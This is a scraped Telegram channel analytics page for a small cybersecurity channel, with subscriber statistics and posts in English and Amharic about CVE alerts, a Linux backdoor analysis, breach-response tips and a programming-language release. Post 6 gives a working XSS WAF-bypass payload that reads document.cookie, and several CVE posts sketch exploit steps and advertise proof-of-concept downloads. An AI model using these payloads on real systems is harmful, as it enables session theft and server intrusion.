Yotor security channel
Открыть в Telegram
This is officially yotor security channel this is channal discuss about cyber security and programming you will have questions ask to @yotorsecurity_support This user name or this channel group to https://t.me/yotor_security 😁😁✌️✌️
Больше610
Подписчики
Нет данных24 часа
+47 дней
+1930 дней
Загружаем данные
Похожие каналы
Нет данных
Возникли проблемы? Пожалуйста, обновите страницу или обратитесь к нашему support-менеджеру .
Облако тегов
Входящие и исходящие упоминания
---
---
---
---
---
---
Привлечение подписчиков
октябрь '26окт. '26
октябрь '26
+27
в 1 каналах
сентябрь '26
+23
в 1 каналах
Get PRO
август '26
+50
в 4 каналах
Get PRO
июль '26
+31
в 3 каналах
Get PRO
июнь '26
+33
в 1 каналах
Get PRO
май '26
+36
в 2 каналах
Get PRO
апрель '26
+24
в 0 каналах
Get PRO
март '26
+25
в 0 каналах
Get PRO
февраль '26
+17
в 3 каналах
Get PRO
январь '26
+35
в 5 каналах
Get PRO
декабрь '25
+38
в 1 каналах
Get PRO
ноябрь '25
+69
в 2 каналах
Get PRO
октябрь '25
+84
в 2 каналах
Get PRO
сентябрь '25
+53
в 2 каналах
Get PRO
август '25
+34
в 2 каналах
Get PRO
июль '25
+167
в 2 каналах
Get PRO
июнь '250
в 3 каналах
Get PRO
май '25
+131
в 0 каналах
Get PRO
апрель '250
в 1 каналах
Get PRO
март '25
+19
в 1 каналах
| Дата | Привлечение подписчиков | Упоминания | Каналы | |
| 26 октября | 0 | |||
| 25 октября | 0 | |||
| 24 октября | +1 | |||
| 23 октября | +2 | |||
| 22 октября | 0 | |||
| 21 октября | +1 | |||
| 20 октября | 0 | |||
| 19 октября | +1 | |||
| 18 октября | 0 | |||
| 17 октября | 0 | |||
| 16 октября | +1 | |||
| 15 октября | +1 | |||
| 14 октября | 0 | |||
| 13 октября | +1 | |||
| 12 октября | 0 | |||
| 11 октября | +1 | |||
| 10 октября | +1 | |||
| 09 октября | +8 | |||
| 08 октября | 0 | |||
| 07 октября | +1 | |||
| 06 октября | +1 | |||
| 05 октября | +3 | |||
| 04 октября | +1 | |||
| 03 октября | 0 | |||
| 02 октября | +2 | |||
| 01 октября | +1 |
Посты канала
| 2 | Koy gn post madergew neger eyegebachu aydelem weys mndnew | 97 |
| 3 | As if PHP2Shell wasn't enough for one day... now GitLab. 😅
🚨 CRITICAL GITLAB ALERT (CVSS 10.0)
CVE-2026-110264 could allow unauthenticated RCE on self-managed GitLab servers.
⚠️ Potentially affects 12 years of releases, dating back to 2014.
Patches available. Update immediately!
Read more
#gitlab #cybersecurity | 111 |
| 4 |  🚨 የPHP ከባድ የደህንነት ስጋት!
🔥 CVE-2026-109618 & CVE-2026-109619 — RCE Vulnerabilities
በPHP Session Upload Progress ባህሪ ውስጥ የተገኙ እነዚህ ችግሮች በተወሰኑ ሁኔታዎች ከርቀት ኮድ እንዲፈጸም (RCE) ሊያስከትሉ ይችላሉ።
⚠️ ይህ ባህሪ ከPHP 5.4 ጀምሮ ተካትቷል፣ በነባሪነትም ነቅቶ ይመጣል።
🛡️ የደህንነት ምክር:
✅ PHP ስሪታችሁን አረጋግጡ።
✅ የተለቀቁ የደህንነት ማሻሻያዎችን ጫኑ።
✅ የSession Upload Progress ባህሪን ካልፈለጋችሁት ማሰናከልን አስቡበት።
🔐 Stay Alert. Stay Secure!
#PHP #CVE #RCE #CyberSecurity #InfoSec@yotorsecurity | 138 |
| 5 |  🔒 Data breaches can happen to anyone. Here’s what you should do immediately if you find yourself facing one:
1. Confirm the breach: Identify if your data has been compromised by checking logs, alerts, or other indicators.
2. Contain the breach: Isolate the affected systems to prevent further unauthorized access. Disconnect from the internet if necessary.
3. Notify stakeholders: Inform affected individuals and necessary authorities about the breach to comply with regulations. Being transparent helps maintain trust.
4. Assess the damage: Determine what data was compromised, including sensitive personal information. This will guide your response.
5. Implement remediation: Take steps to close any security holes. This may involve updating software, changing passwords, or enhancing encryption.
Data breaches can be overwhelming, but taking these steps can help you regain control. Stay informed and prepared.
#CyberSecurity #DataBreach #IncidentResponse
📢 Made with Inside | 177 |
| 6 |  Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥
Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
Remember to add payload to your list: 📝
#bugbountytips #bugbountytip #bugbountytip@yotorsecurity | 193 |
| 7 |  🔰 Tokens vs. API Keys | 197 |
| 8 | sticker.webp | 174 |
| 9 |  EHXLang v1.0.0 IS OFFICIALLY RELEASED! 🔥
After months of building from scratch, my very own general-purpose programming language is finally live!
👨💻 Created by: Yonatan Muluken (ETHIO HACKER X)
💡 What makes EHXLang unique?
📖 Human-Readable Syntax: Code that reads like natural instructions (set, when... otherwise, native f-strings).
⚡️ Built-In Power: Cryptographic hashes, raw TCP sockets, zip archiving, and multi-threaded background tasks (spawn).
🛠 Full Ecosystem: Complete VS Code extension + a free 61-Page Official Tutorial Book!
💻 Quick Install (Linux/macOS):
Bash
git clone https://github.com/EthioHackerx/EHXLang.git && cd EHXLang && ./install.sh
(Windows users: Grab EHXSetup.exe from GitHub Releases!)
🔗 Get started & drop a ⭐️ star on GitHub:
https://github.com/EthioHackerx/EHXLang
#EHXLang #Programming #EthioHackerX #OpenSource #Dev
@EthioHackerX
@EthioHackerX | 112 |
| 10 | RXZlcnl0aGluZyBpcyBwb3NzaWJsZS4gTG9vaywgeW91IGZpZ3VyZWQgdGhpcyBvdXJzZWxmLiBUcnksIHRyeSwgYW5kIGV2ZW4gaWYgeW91IGZhaWwsIGtlZXAgdHJ5aW5nLiBPbmUgZGF5LCB5b3Ugd2lsbCBzdWNjZWVkLiBKdXN0IGFzIHlvdSBzb2x2ZWQgdGhpcyBjb2RlIHJpZ2h0IG5vdywgeW91IGNhbiBhbHNvIHNvbHZlIHRoZSBwcm9ibGVtcyBpbiB5b3VyIGxpZmUu
🙏 To let you know a little something. | 1 137 |
| 11 |  As cybersecurity threats increase, understanding global regulations is crucial for anyone involved in the digital landscape. These regulations set standards for data protection and privacy, impacting how businesses manage user information. You should be aware that non-compliance can lead to hefty fines and damage to reputation.
Countries like the EU with GDPR and the USA with various state laws are paving the way for stricter rules that cross borders. This means whether you’re an individual or a business, keeping up-to-date with these regulations is essential. They shape how software is developed, data is handled, and how incidents are reported. Are you ready to adjust your approach in light of these regulations?
📢 Made with Inside | 283 |
| 12 |  🚨 አዲስ Linux Backdoor — AVERAT
Rapid7 ቀደም ሲል በይፋ ያልታወቀ Linux malware/implant የሆነውን AVERAT አግኝቷል።
🎯 የሚያስደንቀው ዘዴ:
AVERAT ለ C2 (Command & Control) ግንኙነት TCP Port 25 (SMTP) ይጠቀማል።
ማለትም፦
• "EHLO" ይልካል
• "STARTTLS" ይጠይቃል
• Encrypted C2 session ይመሰርታል
• በየ ~10–12 ደቂቃው check-in ያደርጋል
📧 በMail Security Gateway ላይ SMTP traffic መኖሩ የተለመደ ስለሆነ፣ malicious traffic ከlegitimate traffic ጋር ሊመሳሰል ይችላል።
⚔️ AVERAT ምን ማድረግ ይችላል?
• Interactive shell — እስከ 10 sessions
• File upload/download
• Directory & process enumeration
• Process termination
• Proxy / port forwarding
• C2 መቀየር
• Shared-object module loading
• Remote reboot
🕵️ Stealth Technique
Malware binary ከdisk ላይ ከexecution በኋላ በአጭር ጊዜ ሊሰረዝ ይችላል።
Process ግን እየሰራ ይቀጥላል፦
"/proc/<pid>/exe → (deleted)"
ይህም file-based detection እንዲከብድ ያደርጋል።
🌐 Rapid7 በተጨማሪ BPFDoor/Rekoobe ጋር የተያያዙ ዘዴዎችን እና compromised NAS, CCTV/DVR & network appliances የተጠቀሙ infrastructure አግኝቷል። | 302 |
| 13 |  🚨 NEW LINUX BACKDOOR HIDES IN NETWORK-EDGE APPLIANCES
Rapid7 uncovered a previously undocumented Linux implant called AVERAT, found on Taiwanese mail-security appliances.
🔴 Key technique:
AVERAT uses TCP port 25 (SMTP) for C2. It can:
• Send "EHLO"
• Request "STARTTLS"
• Establish encrypted C2
• Check in every ~10–12 minutes
Because SMTP traffic is normal on mail-security gateways, malicious C2 can blend into legitimate traffic.
⚔️ Capabilities:
• Interactive shell — up to 10 sessions
• File upload/download
• Process enumeration & termination
• Directory enumeration
• Proxy/port forwarding
• C2 replacement
• Shared-object loading
• Remote reboot
🕵️ Stealth:
The malware can delete its binary shortly after execution, leaving processes running with:
"/proc/<pid>/exe → (deleted)"
Rapid7 also observed related BPFDoor/Rekoobe activity and infrastructure involving compromised NAS, CCTV/DVR, and legacy network devices. | 208 |
| 14 | Have we start 1 week live session that we invite experienced top cyber warriors | 217 |
| 15 | Hey everyone☺️
What do you think? Should we invite TOP CYBER WARRIORS to the live sessions for the next 2 weeks?
Just vote and lemme know | 218 |
| 16 |  ⚠️ CVE-2026-94545 (CVSS 9.5) ⚠️
Next.js የዚህ OG ምስል ነጥብ (endpoint) ለወጪ አገራት ማሽን (shell) ሊሰጥ ይችላል። 😱
next/og በNode runtime ላይ እና sharp ተጫንቶ ከሆነ (ይህም Next ለproduction የሚመካው ነው)፣ አንድ ያለ ማረጋገጫ POST ወደዚያው መስመር ሲላክ ተጠቃሚዎች በአገልጋዮትዎ ላይ ትዕዛዞችን ሊሰሩ ይችላሉ። ለምን? Satori ምስሉን እንደ SVG በመገንባት ጽሑፍዎን ያለ ማጸደቅ (escaping) ይገባል፣ ስለዚህ ወጪው ከታግ (tag) ውጭ ሆኖ የራሱን ማርክአፕ (markup) ያስገባል። ይህ ወደ ነባሪ የምስል ቤተ-መጻሕፍት (sharp, libvips, librsvg, libxml2) ይደርሳል እና በዚያ ላይ ማህደርን (memory) ያበላሻል፣ እና Node non-PIE ስለሚመጣ፣ የተጠገነ ROP ሰንሰለት (chain) በየጊዜው execve ያስከትላል።
ይህ የደረጃ ማዕከላዊ የproduction አደረጃጀት ነው፣ ግራ የሚያወስድ ገደማ ሁኔታ አይደለም። 🚨
ማይጎዳ፡ edge runtime ወይም sharp ከሌለ — ያ መንገድ wasm renderer ይጠቀማል።
በNext.js 16.3.6 / Satori 0.33.5 ተጠግቷል። በ16.2.0–16.3.5 ላይ ነው? አሁን ያዘምኑ።
🔥 PoC + አደረጃጀት፡ for download
#Nextjs #RCE #CVE #PoC #Exploit #CyberSecurity #nextog #CVE_2026_94545 | 218 |
| 17 | ⚠️ CVE-2026-94545 (CVSS 9.5) ⚠️
Your Next.js OG image endpoint can hand an attacker a shell. 😱
If you use next/og on the Node runtime with sharp installed (what Next recommends for prod), one unauthenticated POST to that route runs commands on your server. Here's why: Satori builds the image as an SVG and drops your text in without escaping it, so an attacker breaks out of the tag and injects their own markup. It reaches the native image libs (sharp, libvips, librsvg, libxml2) and corrupts memory there, and since Node ships non-PIE, a hardcoded ROP chain lands execve every time.
This is the default prod setup, not some weird edge case. 🚨
Not affected: edge runtime or no sharp — that path uses the wasm renderer.
Patched in Next.js 16.3.6 / Satori 0.33.5. On 16.2.0–16.3.5? Update now.
🔥 PoC + setup: for download
#Nextjs #RCE #CVE #PoC #Exploit #CyberSecurity #nextog #CVE_2026_94545 | 217 |
| 18 | ከዚህ በሁዋላ 2 post ይሆራል አንድ በ አማርኛ አንድ English ብዙ ሰው እየተግባባን አይደለም ምን ትላላችሁ | 208 |
| 19 | ⚠️CVE-2026-85706 (CVSS 10.0)⚠️
Your GitLab will hand a stranger its files. 😱
No login. No account. An attacker just URL-encodes one letter of commits → %63ommits, and GitLab-Workhorse waves the request through — so a single unauthenticated POST to the repository commits API reads files straight off the server filesystem. Config, internal logs, source paths, versions… all without ever signing in.
Already in CISA KEV — exploited in the wild. 🚨
If you self-host GitLab, patch to 19.1.8 / 19.2.6 / 19.3.2 now.
🔥PoC + setup: on git hub click here
#GitLab #ArbitraryFileRead #CVE #PoC #Exploit #CyberSecurity #CVE_2026_85706 | 236 |
| 20 |  If you're starting your journey in coding, mastering the right programming languages can make all the difference. You’ll want to familiarize yourself with Python-its simple syntax and versatility suit beginners well. JavaScript is essential for web development, enabling you to bring websites to life. Then there's Java, a bit more complex but crucial for understanding object-oriented principles.
Don't forget about C++, important for grasping low-level program operations and working with performance-intensive applications. Lastly, consider learning SQL to manage and interact with databases effectively. Each language has its place, and exploring them can build your coding foundation. Which languages are you interested in learning?
📢 Made with Inside | 222 |
